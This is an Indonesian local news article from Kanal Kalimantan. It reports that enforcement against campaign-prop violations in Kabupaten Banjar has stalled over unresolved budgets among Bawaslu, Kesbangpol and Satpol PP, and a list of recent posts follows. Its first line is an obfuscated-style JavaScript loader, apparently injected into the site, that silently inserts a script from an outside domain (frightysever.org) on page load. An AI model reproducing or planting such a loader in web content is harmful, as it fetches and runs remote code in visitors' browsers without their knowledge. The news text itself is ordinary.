(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ribut Soal Anggaran, Pelanggaran APK Caleg di Kabupaten Banjar ‘Tak Tersentuh’


MARTAPURA, Maraknya atribut kampanye caleg di Kabupaten Banjar hingga saat ini belum tersentuh penertiban. Pihak terkait dalam hal ini, berdalih terbentur anggaran. Lho?

Kordiv Pengawasan, Humas dan Hubal Bawaslu Banjar Hairul Falah mengatakan, terkait tim gabungan yang melibatkan antara Bawaslu, KPU, Satpol PP Banjar, Kesbangpol, Dishub, Kepolisian hingga TNI di Kabupaten Banjar diakui hingga kini belum terbentuk. Masih dalam tahap usulan, meskipun pelanggaran APK (Alat Peraga Kampanye) di wilayahnya diakui marak.

Datanya, hingga akhir Januari sudah didapati 168 pelanggaran APK dari berbagai tingkatan peserta pemilu. Dari jumlah tersebut, 148 di antaranya sudah ditanggapi oleh jajaran peserta pemilu.

“Untuk tim penertipan, saat ini memang kita terkendala. Belum terbentuk, salah satunya karena terbentur anggaran. Soalnya mekanisme anggaran bukan ranah kami, karena kita bukan eksekutor, kita hanya melakukan pengawasan hingga kordinasi. Kita hanya mengusulkan pembentukan tim,” dalihnya.

Lebih jauh Hairul mengatakan, anggaran penertipan APK pada tahun sebelumnya ada di Kesbangpol, lalu pada 2018 anggaran ada di KPU Banjar. Namun tahun unu ini tidak ada baik itu di Bawaslu, KPU, maupun Kesbangpol.

“Maka dari itu kami meminta support dari pemerintah daerah terkait hal tersebut, karena ini gabungan maka konsumsi hingga transportasi harus memang benar benar dipikirkan, karena penertipan APK tidak semudah membalikan telapak tangan” jelasnya.

Terkait hal tersebut pihaknya masih memikirkan untuk terus berkordinasi dengan pemerintah daerah. “Tidak berarti dengan belum terbentuknya tim ini kita diam, kita sudah melakukan strategi kordinasi peraturan APK kepada seluruh partai-partai politik di Kabupaten Banjar,” akunya.

Sementara itu di tempat terpisah Kepala Kesbangpol Kabupaten Banjar Aslam mengatakan, terkait tim satgas pertiban APK keputusannya masih belum final.  “Terkait hal tersebut akan kita bicarakan kembali, kita Kesbangpol hanya memfasilitasi saja, kita tidak boleh ikut campur hingga kedalam, kita siap saja akan hal itu,” jelasnya.

Ketika ditanya kendala apa yang selama ini dihadapi sehingga tim masih belum terbentuk Aslam mengatakan, masih tidak begitu mengerti. Mengingat pihaknya sendiri hanya memfasilitasi dan membackup kegiatan sosialisasi saja. “Kalau anggaran di kami Kesbangpol ya tersendiri, itu bukan kewenangan kita kalau masalah anggaran. Kkita hanya menganggarkan sosialisasi hingga pendidikan politik, terkait anggaran APK ini kita masih belum tahu,” akunya.

Lebih jauh Aslam mengatakan Bawaslu sendiri kemungkinan ada menganggarkan hal tersebut. Mengingat terkait perencanaan dan penindakan itu dilaksanakan oleh Bawaslu itu sendiri bukan Kesbangpol. “Setiap instansi sudah ada anggaran masing-masing akan hal itu, kita masih tidak tahu bawaslu apakah punya anggaran akan hal itu,” pungkasnya.

Sementara itu Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar siap turun tangan bila diminta menertibkan Alat Peraga Kampanye (APK) yang melanggar aturan di seluruh Kawasan Kabupaten Banjar.

Begitu disampaikan Kabid Tantribum Satpol PP Banjar, Asian Bandani saat ditemui Kanal Kalimantan di Kantor Satpol PP Banjar, hingga sekarang, pihak Bawaslu Banjar masih belum meminta mereka untuk turun kelapangan karena tergesit kabar pendanaan yang masih diperundingkan oleh pihak Bawaslu Banjar. “Kita siap saja bila diminta, namun kabarnya Bawaslu Banjar masih mengkordinasikan mengenai pendanaan tersebut dengan pihak Provinsi,” ujarnya.

Asian menegaskan, karena penertipan APK tersebut sipatnya adalah tugas gabungan pihaknya ngikut saja apa yang nantinya ditugaskan oleh Bawaslu Banjar, namun dari Satpol PP sendiri sudah siap baik dari porsenil dan pendanaan dari Satpol PP itu sendiri.

“Karena tugas ini adalah gabungan kami ngikut saja. Kendalanya memang pendanaan dari mereka Bawaslu Banjar, makanya hingga sekarang masih belum dilaksanakan, kalo kita Satpol PP Banjar siap saja dari pendanaan istansi kami” pungkasnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

14 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

18 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

20 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

21 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

21 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

23 jam ago

This website uses cookies.